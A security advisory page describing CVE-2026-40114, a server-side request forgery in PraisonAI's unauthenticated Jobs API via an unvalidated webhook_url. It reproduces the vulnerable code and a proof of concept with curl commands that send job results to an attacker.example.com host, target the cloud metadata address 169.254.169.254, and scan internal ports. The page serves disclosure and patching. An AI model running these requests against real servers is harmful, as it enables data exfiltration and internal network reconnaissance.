Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40114 — praisonai

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Summary

The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validationmodels.py:32:

```python

class JobSubmitRequest(BaseModel):

webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

```

The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job objectrouter.py:80-86:

```python

job = Job(

prompt=body.prompt,

...

webhook_url=body.webhook_url,

...

)

```

3. Used in an outbound HTTP requestexecutor.py:385-415:

```python

async def _send_webhook(self, job: Job):

if not job.webhook_url:

return

try:

import httpx

payload = {

"job_id": job.id,

"status": job.status.value,

"result": job.result if job.status == JobStatus.SUCCEEDED else None,

"error": job.error if job.status == JobStatus.FAILED else None,

...

}

async with httpx.AsyncClient(timeout=30.0) as client:

response = await client.post(

job.webhook_url, # <-- attacker-controlled URL

json=payload,

headers={"Content-Type": "application/json"}

)

```

4. Triggered on both success and failure pathsexecutor.py:180-205:

```python

# Line 180-181: on success

if job.webhook_url:

await self._send_webhook(job)

# Line 204-205: on failure

if job.webhook_url:

await self._send_webhook(job)

```

5. No authentication on the Jobs API serverserver.py:82-101:

The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests

```bash

# In a separate terminal, start a simple HTTP listener

python3 -c "

from http.server import HTTPServer, BaseHTTPRequestHandler

import json

class Handler(BaseHTTPRequestHandler):

def do_POST(self):

length = int(self.headers.get('Content-Length', 0))

body = self.rfile.read(length)

print(f'Received POST from PraisonAI server:')

print(json.dumps(json.loads(body), indent=2))

self.send_response(200)

self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()

"

```

Step 2: Submit a job with a malicious webhook_url

```bash

# Point webhook to attacker-controlled server

curl -X POST http://localhost:8005/api/v1/runs \

-H 'Content-Type: application/json' \

-d '{

"prompt": "say hello",

"webhook_url": "http://attacker.example.com:9999/steal"

}'

```

Step 3: Target internal services (cloud metadata)

```bash

# Attempt to reach AWS metadata service

curl -X POST http://localhost:8005/api/v1/runs \

-H 'Content-Type: application/json' \

-d '{

"prompt": "say hello",

"webhook_url": "http://169.254.169.254/latest/meta-data/"

}'

```

Step 4: Internal network port scanning

```bash

# Scan internal services by observing response timing

for port in 80 443 5432 6379 8080 9200; do

curl -s -X POST http://localhost:8005/api/v1/runs \

-H 'Content-Type: application/json' \

-d "{

\"prompt\": \"say hello\",

\"webhook_url\": \"http://10.0.0.1:${port}/\"

}"

done

```

When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.

Impact

1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.

2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.

3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences an

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-40114 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-40114 is recorded against 1 package.

  • praisonai (fixed in 4.5.128)

Timeline and source

Published on 10 April 2026 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

praisonai has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWE CWE-918
Public Exploit ⚠️ Yes
Source OSV
Published 2026-04-10
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
praisonai 4.5.128

Similar Threats

Exploit Protection

Are you running praisonai?

CVE-2026-40114 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-40114 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026